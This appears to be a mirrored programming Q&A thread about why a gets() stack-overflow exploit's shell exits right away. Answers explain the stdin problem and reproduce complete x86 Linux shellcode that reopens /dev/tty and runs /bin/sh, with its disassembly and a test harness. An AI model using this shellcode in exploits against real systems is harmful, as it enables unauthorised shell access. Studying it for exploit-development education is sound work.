Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve(“/bin/sh”)

前端 未结 2 1398
無奈伤痛
無奈伤痛 2021-01-30 23:46

I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization

相关标签:
2条回答
  • 2021-01-31 00:13

    I'm having pretty much the same problem right now with Ubuntu 9.10 in a VM. Disabled all the security measurements of the OS, and simple exploits like "exit the program and set exit-code to 42" do work, but when trying to open a shell, the program just terminates. Output of gdb is identical:

    (gdb) run < exploit.0xbffff3b8 
    Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8
    
    Enter password: Sorry. Wrong password.
    Executing new program: /bin/bash
    
    Program exited normally.
    (gdb)

    Thing is, I need it working in approx. 16 hours for a presentation :-D


    Update: I found this neat study: www.shell-storm.org/papers/files/539.pdf

    On page 16 it says: "If we try to execute a shell, it terminates immediately in this configuration"

    In other examples that don't use gets(), they do very well spawn a shell. Unfortunately, they don't give a hint on WHY it doesn't work that way. :(


    Next Update: It seems it has to do with stdin. The shell cannot properly use the one it gets from the original process. I tried using a minimal shell I found the sourcecode for (evilsh). It crashed at the point where it tried to read input. My guess is, that bash/dash checks for this and just silently exits when something is wrong with stdin.


    Ok please don't kill me for having this conversation with myself here, but...

    I found a solution!

    For some reason it is necessary to reopen the inputs. I found a working shellcode here:

    http://www.milw0rm.com/shellcode/2040

    I don't see a prompt tough, but I can run programs etc. using the shell that opens.

    0 讨论(0)
  • 2021-01-31 00:27

    The link provided by Zenoc is dead, but can still be found in the Wayback machine. For convenience, I've reproduced it below. I had to include add $0x10,%esp at the top to give me more stack space, as all the pushes in the code ate into the buffer where my shellcode was stored. If you'd like to include that to the shellcode too, just add "\x83\xc4\x10" to the start. The shellcode is 55 bytes without my addition, and 58 with.

    /*
     * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
     *
     * gets-linux.c - stdin re-open shellcode for Linux/x86
     * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
     *
     * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
     * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
     * Useful to exploit some gets() buffer overflows in an elegant way...
     */
    
    /*
     * close(0) 
     *
     * 8049380:       31 c0                   xor    %eax,%eax
     * 8049382:       31 db                   xor    %ebx,%ebx
     * 8049384:       b0 06                   mov    $0x6,%al
     * 8049386:       cd 80                   int    $0x80
     *
     * open("/dev/tty", O_RDWR | ...)
     *
     * 8049388:       53                      push   %ebx
     * 8049389:       68 2f 74 74 79          push   $0x7974742f
     * 804938e:       68 2f 64 65 76          push   $0x7665642f
     * 8049393:       89 e3                   mov    %esp,%ebx
     * 8049395:       31 c9                   xor    %ecx,%ecx
     * 8049397:       66 b9 12 27             mov    $0x2712,%cx
     * 804939b:       b0 05                   mov    $0x5,%al
     * 804939d:       cd 80                   int    $0x80
     *
     * execve("/bin/sh", ["/bin/sh"], NULL)
     *
     * 804939f:       31 c0                   xor    %eax,%eax
     * 80493a1:       50                      push   %eax
     * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
     * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
     * 80493ac:       89 e3                   mov    %esp,%ebx
     * 80493ae:       50                      push   %eax
     * 80493af:       53                      push   %ebx
     * 80493b0:       89 e1                   mov    %esp,%ecx
     * 80493b2:       99                      cltd   
     * 80493b3:       b0 0b                   mov    $0xb,%al
     * 80493b5:       cd 80                   int    $0x80
     */
    
    char sc[] = 
    "\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
    "\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    
    main()
    {
        int (*f)() = (int (*)())sc; f();
    }
    
    // milw0rm.com [2006-07-20]
    

    Note: I couldn't add this as an edit to Zenoc's answer because the edit queue is full.

    If you are having trouble pinpointing the address of your shellcode due to differing stacks in the terminal and gdb, have a look at my answer here.

    0 讨论(0)
提交回复
热议问题